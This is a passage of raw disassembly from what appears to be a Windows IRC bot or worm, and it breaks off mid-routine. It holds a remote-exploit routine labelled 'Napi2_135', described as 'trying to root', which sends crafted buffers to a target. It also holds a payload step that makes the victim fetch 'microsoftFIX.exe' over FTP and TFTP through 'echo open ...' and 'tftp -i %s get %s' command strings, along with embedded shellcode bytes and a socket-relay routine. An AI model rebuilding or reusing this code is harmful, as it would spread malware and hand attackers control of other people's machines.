loc_40CCF2 cmp eax, 0FFFFFFFFh jz loc_40CCF2 push 0 push 15Bh push offset dword_43F874 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_43F9D0 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_43FB2C push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_43FC88 push esi call ebx ; send push 1387Fh lea eax, [esp+218h+var_1F0] push 0 push eax call sub_417070 add esp, 0Ch loc_40CADE: ; CODE XREF: sub_40C89D+450j push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40CCF2 cmp eax, 0FFFFFFFFh jz loc_40CCF2 cmp [esp+224h+arg_13720], 8Bh push esi jnz loc_40CCF3 call near ptr 71AB1A6Dh nop jmp loc_40C8F7 ; --------------------------------------------------------------------------- loc_40CB17: ; CODE XREF: sub_40C89D+95j ; sub_40C89D+9Ej mov ebx, dword_4DD498 push edi push 48h push offset unk_43FCF4 push esi call ebx ; send mov ebp, dword_4DD490 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_43FD40 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_43FD9C push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_43FE50 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 66h push offset dword_43FF48 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_43FFB0 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_43FFF0 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_440054 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_4400EC push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_440248 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_4403A4 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_440500 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_44065C push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40CCF2 cmp eax, 0FFFFFFFFh jz short loc_40CCF2 push 0 push 15Bh push offset dword_4400EC push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_440248 push esi call ebx ; send push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_4403A4 push esi call ebx ; send push 0 lea eax, [esp+238h+var_210] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_440500 push esi call ebx ; send push 0 lea eax, [esp+258h+var_230] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_44065C push esi call ebx ; send jmp loc_40CADE ; --------------------------------------------------------------------------- loc_40CCF2: ; CODE XREF: sub_40C89D+1C4j ; sub_40C89D+1CDj ... push esi loc_40CCF3: ; CODE XREF: sub_40C89D+269j nop call near ptr 71AB1A6Dh push 7D0h nop call near ptr 2690599h sub esp, 0BCh lea esi, [esp+268h+arg_136F8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40CD34 add esp, 0BCh neg eax sbb eax, eax neg eax loc_40CD29: ; CODE XREF: sub_40C89D+5Cj pop edi pop esi pop ebp pop ebx add esp, 13894h retn sub_40C89D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD34 proc near ; CODE XREF: sub_40C89D+47Bp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417070 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_445388 push 0BEEFh mov [ebp+var_C], eax call dword_445348 push esi push 1 push 2 mov [ebp+var_E], ax call dword_4453C8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40CE6E lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4452F0 cmp eax, 0FFFFFFFFh jz loc_40CE6E push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_445360 mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe" push esi push esi push [ebp+arg_0] call sub_40267D pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_4172D0 movzx eax, word ptr dword_4D3010 add esp, 18h push esi push esi push eax push [ebp+arg_0] call sub_40267D pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_4172D0 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_445398 cmp eax, 0FFFFFFFFh jz short loc_40CE6E push 1F4h nop call near ptr 2690599h push esi push offset aS_19 ; "%s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_4172D0 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_445398 cmp eax, 0FFFFFFFFh jnz short loc_40CE72 loc_40CE6E: ; CODE XREF: sub_40CD34+4Fj ; sub_40CD34+65j ... xor eax, eax jmp short loc_40CE91 ; --------------------------------------------------------------------------- loc_40CE72: ; CODE XREF: sub_40CD34+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_445360 push ebx call dword_4453E0 push 1 pop eax loc_40CE91: ; CODE XREF: sub_40CD34+13Cj pop edi pop esi pop ebx leave retn sub_40CD34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE96 proc near ; CODE XREF: sub_409ECC+1E6p ; DATA XREF: ___:off_43DE3Co var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 200h push esi xor esi, esi cmp [ebp+arg_A0], 8Bh push edi jz short loc_40CEBF cmp [ebp+arg_A0], 1BDh jnz loc_40CF48 loc_40CEBF: ; CODE XREF: sub_40CE96+17j sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40C89D mov esi, eax add esp, 0BCh test esi, esi jz short loc_40CF48 lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] shl eax, 6 add eax, offset aNapi2_135 ; "Napi2_135" push eax push offset a_a_a_a_S_e_x_p ; ".a.a.a. (%s.e.x.p) .»». trying to root"... lea eax, [ebp+var_200] push 200h push eax call sub_4172D0 push 0 lea eax, [ebp+var_200] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_401445 lea eax, [ebp+var_200] push eax call sub_410557 mov eax, [ebp+arg_A8] add esp, 2Ch shl eax, 6 inc dword_43DE40[eax] lea eax, dword_43DE40[eax] loc_40CF48: ; CODE XREF: sub_40CE96+23j ; sub_40CE96+48j mov eax, esi pop edi pop esi leave retn sub_40CE96 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40CF57: ; CODE XREF: ___:0040CF73j ; ___:0040CF8Fj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4D6394 call dword_445360 test eax, eax jle short loc_40CF57 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4D6390 nop call near ptr 2720000h jmp short loc_40CF57 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40CF9A: ; CODE XREF: ___:0040CFC0j ; ___:0040CFDAj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4D6384 nop call near ptr 2730000h cmp dword ptr [ebp-4], 0 jle short loc_40CF9A push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4D6394 call dword_445398 jmp short loc_40CF9A ; --------------------------------------------------------------------------- dword_40CFDC dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_403038+4174o dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 61E85057h, 830000A0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 445348h, 6A56066Ah, 45896602h, 0C815FFCAh dd 89004453h, 458D0845h, 50106AC8h, 0FF0875FFh, 44537415h dd 0FF056A00h, 15FF0875h, 445370h, 0D3481D8Bh, 358B004Dh dd 4DD2BCh, 75FF5757h, 0DC15FF08h, 0A3004453h, 4D6394h dd 57F4458Dh, 63906850h, 8C68004Dh, 0C7004D63h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4D6388h dd 4D638468h, 6AD3FF00h, 84458D44h, 0C5E85057h, 0A100009Fh dd 4D638Ch, 890CC483h, 88A1BC45h, 89004D63h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 23E890B4h, 5002323Eh, 638835FFh, 0E890004Dh dd 2323E16h, 9E89050h, 8D023239h, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4407E068h dd 0E8905700h, 2263287h, 50E8458Dh, 91685757h, 8D0040CFh dd 5057F445h, 37D1E890h, 45890229h, 0E8458DECh, 68575750h dd 40CF4Eh, 57F4458Dh, 37B9E850h, 6A900229h, 0F04589FFh dd 90D875FFh, 2A3B79E8h, 75FF5702h, 50E890F0h, 57022C3Ah dd 90EC75FFh, 2C3A46E8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 90D875FFh, 323777E8h, 8C35FF02h, 0FF004D63h, 9035FFD6h dd 0FF004D63h, 8435FFD6h, 0FF004D63h, 8835FFD6h, 0FF004D63h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h dword_40D1AC dd 81EC8B55h, 0A70ECh, 8458B00h, 6A575653h, 0A9B901h, 0F08B0000h ; DATA XREF: sub_4097CE+22Ao dd 0F920BD8Dh, 0F35BFFFFh, 0A09889A5h, 8D000002h, 0FFF59085h dd 50F633FFh, 10168h, 0E45D8900h, 89D45D89h, 0B589DC5Dh dd 0FFFFFDD4h, 0FBC4B589h, 0E890FFFFh, 716A6FDEh, 26A5356h dd 6A1CE890h, 358B716Ah, 4DD488h, 6AE44D8Dh, 0FFBF5104h dd 6A0000FFh, 89505704h, 0D6FFF845h, 6AD4458Dh, 0FB6A5004h dd 0F87D8B57h, 8DD6FF57h, 6850DC45h, 8004667Eh, 1BE89057h dd 66716A43h, 4D3010A1h, 0B8658300h, 0C7665000h, 2B445h dd 534815FFh, 89660044h, 458DB645h, 50106AB4h, 67E89057h dd 85716A6Ch, 8B077DC0h, 567E9C3h, 0A6A0000h, 67E89057h dd 89716A8Bh, 0FFFDD49Dh, 981D8BFFh, 89004DD4h, 0FFFDD8BDh dd 0FC7D89FFh, 0B58D416Ah, 0FFFFFDD4h, 0C4BD8D59h, 0F3FFFFFBh dd 8DF633A5h, 0FFFBC485h, 565656FFh, 0FC458B50h, 0E8905040h dd 716A45D8h, 0FFFF883h, 51584h, 39FF3300h, 7D89FC75h dd 33C57C08h, 8D646AF6h, 0FFFD6085h, 0E85056FFh, 9D94h dd 858D646Ah, 0FFFFFF50h, 85E85056h, 8300009Dh, 858D18C4h dd 0FFFFFBC4h, 77E85750h, 85000246h, 0C1840FC0h, 3B000004h dd 7A75F87Dh, 0C7F0458Dh, 10F045h, 8D500000h, 0FFFDC485h dd 75FF50FFh, 6AE890F8h, 83716AB3h, 840FFFF8h, 498h, 0B539C933h dd 0FFFFFDD4h, 958D1676h, 0FFFFFDD8h, 0C740239h, 4C28341h dd 0FDD48D3Bh, 0F072FFFFh, 0FDD48D3Bh, 1675FFFFh, 0FDD4BD83h dd 7340FFFFh, 8D84890Dh, 0FFFFFDD8h, 0FDD485FFh, 453BFFFFh dd 89037EFCh, 6A56FC45h, 7E86815h, 0FF500044h, 442E9D3h dd 8D560000h, 0FFFD6085h, 50646AFFh, 0FDE89057h, 85716A82h dd 8B527FC0h, 0FFFDD495h, 3BC933FFh, 8D3A76D6h, 0FFFDD885h dd 743839FFh, 0C083410Ah, 72CA3B04h, 4A26EBF4h, 1B73CA3Bh dd 0D88D848Dh, 8BFFFFFDh, 89410450h, 0D4958B10h, 83FFFFFDh dd 3B4A04C0h, 0FFEC72CAh, 0FFFDD48Dh, 0E89057FFh, 716A4689h dd 3DBE9h, 0C8858D00h, 50FFFFFCh, 0FF50858Dh, 8D50FFFFh dd 0FFFD6085h, 80068FFh, 0E8500044h, 0B6E8h, 0FF50858Dh dd 868FFFFh, 50004408h, 0A457E8h, 18C48300h, 0D75C085h dd 68166A56h, 440810h, 382E9h, 50858D00h, 68FFFFFFh, 440828h dd 0A432E850h, 85590000h, 0D7559C0h, 68146A56h, 440830h dd 35EE9h, 50858D00h, 68FFFFFFh, 440848h, 0A40EE850h, 85590000h dd 0D7559C0h, 680D6A56h, 440850h, 33AE9h, 50858D00h, 68FFFFFFh dd 440860h, 0A3EAE850h, 85590000h, 0D7559C0h, 68106A56h dd 440868h, 316E9h, 50858D00h, 68FFFFFFh, 44087Ch, 0A3C6E850h dd 85590000h, 0D7559C0h, 681E6A56h, 440880h, 2F2E9h, 50858D00h dd 68FFFFFFh, 4408A0h, 0A3A2E850h, 85590000h, 247559C0h dd 0FCC8858Dh, 0A868FFFFh, 50004408h, 0A38BE8h, 0C0855900h dd 560D7559h, 0AC68136Ah, 0E9004408h, 2B7h, 0FF50858Dh dd 0C068FFFFh, 50004408h, 0A367E8h, 0C0855900h, 8D247559h dd 0FFFCC885h, 8C868FFh, 0E8500044h, 0A350h, 59C08559h dd 6A560D75h, 8CC6813h, 7CE90044h, 8D000002h, 0FFFF5085h dd 8E068FFh, 0E8500044h, 0A32Ch, 59C08559h, 0A6A3775h dd 4408E8BEh, 0BD8D5900h, 0FFFFFED8h, 8D50A5F3h, 0FFFED885h dd 0A56650FFh, 7677E8h, 8D505900h, 0FFFED885h, 75FF50FFh dd 33D3FF08h, 87D8BF6h, 231E9h, 50858D00h, 68FFFFFFh, 440914h dd 0A2DEE850h, 85590000h, 2A7559C0h, 1CBE056Ah, 59004409h dd 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh dd 7628h, 858D5059h, 0FFFFFF38h, 858DAFEBh, 0FFFFFF50h dd 44093468h, 9DE85000h, 590000A2h, 0F59C085h, 0B885h dd 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h dd 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h, 93C68FFh dd 0E8500044h, 0B4E4h, 0FF04858Dh, 0E850FFFFh, 9EB8h, 858DF88Bh dd 0FFFFFD2Ch, 9EAAE850h, 45890000h, 8D326AF4h, 0FFFF0485h dd 0E85056FFh, 9A38h, 8DF475FFh, 0FFFF0485h, 646857FFh dd 50004409h, 9B83E8h, 44C48300h, 0FF04858Dh, 106AFFFFh dd 51E85056h, 890000ABh, 458DF445h, 458D50ECh, 458D50E8h dd 458D50E0h, 458D50D8h, 96C68C4h, 0E8500044h, 9B50h, 5624C483h dd 78681D6Ah, 0FF004409h, 0D3FF0875h, 0FFFEE4E9h, 50858DFFh dd 68FFFFFFh, 440998h, 0A1CAE850h, 85590000h, 850F59C0h dd 0E0h, 68286A56h, 4409A0h, 0FFD3FF57h, 458DF475h, 19E850C4h dd 59000001h, 5901F883h, 0B4850Fh, 458D0000h, 858D50C4h dd 0FFFFF720h, 4409CC68h, 0E9E85000h, 8300009Ah, 0B5390CC4h dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 3D33E8FFh, 0C483FFFFh dd 143E814h, 0F8830000h, 8F850F01h, 56000000h, 0EC68176Ah dd 57004409h, 458DD3FFh, 858D50C4h, 0FFFFF720h, 440A0468h dd 8DE85000h, 8300009Ah, 0B5390CC4h, 0FFFFFBBCh, 8D562375h dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh dd 0FFF920B5h, 3CD7E8FFh, 0C483FFFFh, 20858D14h, 50FFFFF7h dd 2DDAE8h, 0E005FF00h, 59004D5Ah, 6A562CEBh, 0A1C6820h dd 1FEB0044h, 0FF50858Dh, 4068FFFFh, 5000440Ah, 0A0CFE8h dd 0C0855900h, 560B7559h, 48681B6Ah, 5700440Ah, 646AD3FFh dd 0FD60858Dh, 5056FFFFh, 98AFE8h, 0CC48300h, 0FC7D3B47h dd 0F087D89h, 0FFFAFA8Eh, 0FABAE9FFh, 16AFFFFh, 5B5E5F58h dd 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4D639C, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4D639C nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40D858 push dword_4D639C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40D858: ; CODE XREF: ___:0040D840j push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2680000h lea eax, [ebp-104h] push offset aRb ; "rb" push eax call sub_417050 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40D8F4 test byte ptr [esi+0Ch], 10h jnz short loc_40D8D8 push edi mov edi, 400h loc_40D8A0: ; CODE XREF: ___:0040D8D5j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_416D40 add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4D639C call near ptr 71AB1AF4h nop push 1 call near ptr 2690599h nop test byte ptr [esi+0Ch], 10h jz short loc_40D8A0 pop edi loc_40D8D8: ; CODE XREF: ___:0040D898j push esi call sub_414C60 pop ecx push dword_4D639C nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40D8F4: ; CODE XREF: ___:0040D892j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8F7 proc near ; DATA XREF: sub_403038+36F4o ; sub_4097CE+34Eo var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417E20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417070 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_445348 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4453C8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40DCE8 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_44621C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_445374 cmp eax, 0FFFFFFFFh jz loc_40DCE8 push 7FFFFFFFh push edi call dword_445370 cmp eax, 0FFFFFFFFh jz loc_40DCE8 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4453E4 cmp eax, 0FFFFFFFFh jz loc_40DCE8 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40D9CE: ; CODE XREF: sub_40D8F7+3E7j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_445330 cmp eax, 0FFFFFFFFh jz loc_40DCE3 xor esi, esi mov [ebp+var_4], esi loc_40DA04: ; CODE XREF: sub_40D8F7+3E1j lea eax, [ebp+var_6F0] push eax push esi call dword_445234 test eax, eax jz loc_40DCCE cmp esi, [ebp+var_C] jnz short loc_40DA86 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4453DC cmp eax, 0FFFFFFFFh jz loc_40DCCE xor ecx, ecx test ebx, ebx jbe short loc_40DA58 lea edx, [ebp+var_134] loc_40DA4C: ; CODE XREF: sub_40D8F7+15Fj cmp [edx], eax jz short loc_40DA58 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40DA4C loc_40DA58: ; CODE XREF: sub_40D8F7+14Dj ; sub_40D8F7+157j cmp ecx, ebx jnz short loc_40DA75 cmp ebx, 40h jnb short loc_40DA75 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40DA75: ; CODE XREF: sub_40D8F7+163j ; sub_40D8F7+168j cmp eax, [ebp+var_8] jbe loc_40DCCE mov [ebp+var_8], eax jmp loc_40DCCE ; --------------------------------------------------------------------------- loc_40DA86: ; CODE XREF: sub_40D8F7+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417070 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417070 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_445360 test eax, eax jg short loc_40DB19 push esi call dword_4453E0 xor ecx, ecx test ebx, ebx jbe loc_40DCCE lea eax, [ebp+var_134] loc_40DAD8: ; CODE XREF: sub_40D8F7+1EBj cmp [eax], esi jz short loc_40DAE9 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40DAD8 jmp loc_40DCCE ; --------------------------------------------------------------------------- loc_40DAE9: ; CODE XREF: sub_40D8F7+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40DB0D lea eax, [ebp+ecx*4+var_134] loc_40DAF7: ; CODE XREF: sub_40D8F7+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40DAF7 loc_40DB0D: ; CODE XREF: sub_40D8F7+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40DCCE ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40D8F7+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417070 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_414BE0 add esp, 10h test eax, eax jbe loc_40DCCE loc_40DB47: ; CODE XREF: sub_40D8F7+30Fj mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40DBF2 lea eax, [ebp+var_18F0] push offset aGet ; "GET " push eax call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40DBC6 lea eax, [ebp+var_18F0] push eax call sub_414BE0 cmp eax, 5 pop ecx jbe short loc_40DBC6 push offset asc_440A70 ; " " push offset asc_440A74 ; " " lea eax, [ebp+var_18F0] push offset aGet_0 ; "GET " push eax call sub_417B50 pop ecx pop ecx push eax call sub_417B50 pop ecx pop ecx push eax call sub_417620 push eax lea eax, [ebp+var_23C] push eax call sub_4184C0 add esp, 10h jmp short loc_40DBDD ; --------------------------------------------------------------------------- loc_40DBC6: ; CODE XREF: sub_40D8F7+27Ej ; sub_40D8F7+290j lea eax, [ebp+var_18F0] push offset asc_440A80 ; "\r\n" push eax call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40DC11 loc_40DBDD: ; CODE XREF: sub_40D8F7+2CDj push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417070 add esp, 0Ch or esi, 0FFFFFFFFh loc_40DBF2: ; CODE XREF: sub_40D8F7+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_414BE0 cmp [ebp+arg_0], eax pop ecx jb loc_40DB47 jmp loc_40DCCE ; --------------------------------------------------------------------------- loc_40DC11: ; CODE XREF: sub_40D8F7+2E4j xor ecx, ecx test ebx, ebx jbe short loc_40DC5B lea eax, [ebp+var_134] loc_40DC1D: ; CODE XREF: sub_40D8F7+333j mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40DC2E inc ecx add eax, 4 cmp ecx, ebx jb short loc_40DC1D jmp short loc_40DC5E ; --------------------------------------------------------------------------- loc_40DC2E: ; CODE XREF: sub_40D8F7+32Bj lea eax, [ebx-1] cmp ecx, eax jnb short loc_40DC52 lea eax, [ebp+ecx*4+var_134] loc_40DC3C: ; CODE XREF: sub_40D8F7+359j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40DC3C loc_40DC52: ; CODE XREF: sub_40D8F7+33Cj dec ebx mov [ebp+var_138], ebx jmp short loc_40DC5E ; --------------------------------------------------------------------------- loc_40DC5B: ; CODE XREF: sub_40D8F7+31Ej mov esi, [ebp+var_4] loc_40DC5E: ; CODE XREF: sub_40D8F7+335j ; sub_40D8F7+362j lea eax, [ebp+var_23C] test eax, eax jz short loc_40DCC7 lea eax, [ebp+var_360] push eax call sub_414BE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_414BE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40DCC7 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4453E4 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40DEDA add esp, 14h jmp short loc_40DCCE ; --------------------------------------------------------------------------- loc_40DCC7: ; CODE XREF: sub_40D8F7+36Fj ; sub_40D8F7+395j push esi call dword_4453E0 loc_40DCCE: ; CODE XREF: sub_40D8F7+11Dj ; sub_40D8F7+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40DA04 jmp loc_40D9CE ; --------------------------------------------------------------------------- loc_40DCE3: ; CODE XREF: sub_40D8F7+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40DCE8: ; CODE XREF: sub_40D8F7+6Aj ; sub_40D8F7+92j ... call dword_4452DC push eax lea eax, [ebp+var_8F0] push offset unk_440A84 push eax call sub_4171D0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40DD2E push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_401445 add esp, 14h loc_40DD2E: ; CODE XREF: sub_40D8F7+412j lea eax, [ebp+var_8F0] push eax call sub_410557 pop ecx push edi call dword_4453E0 push [ebp+var_254] call sub_40916F pop ecx push ebx nop call near ptr 2700000h pop edi pop esi pop ebx sub_40D8F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD58 proc near ; DATA XREF: sub_40DEDA+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417E20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, 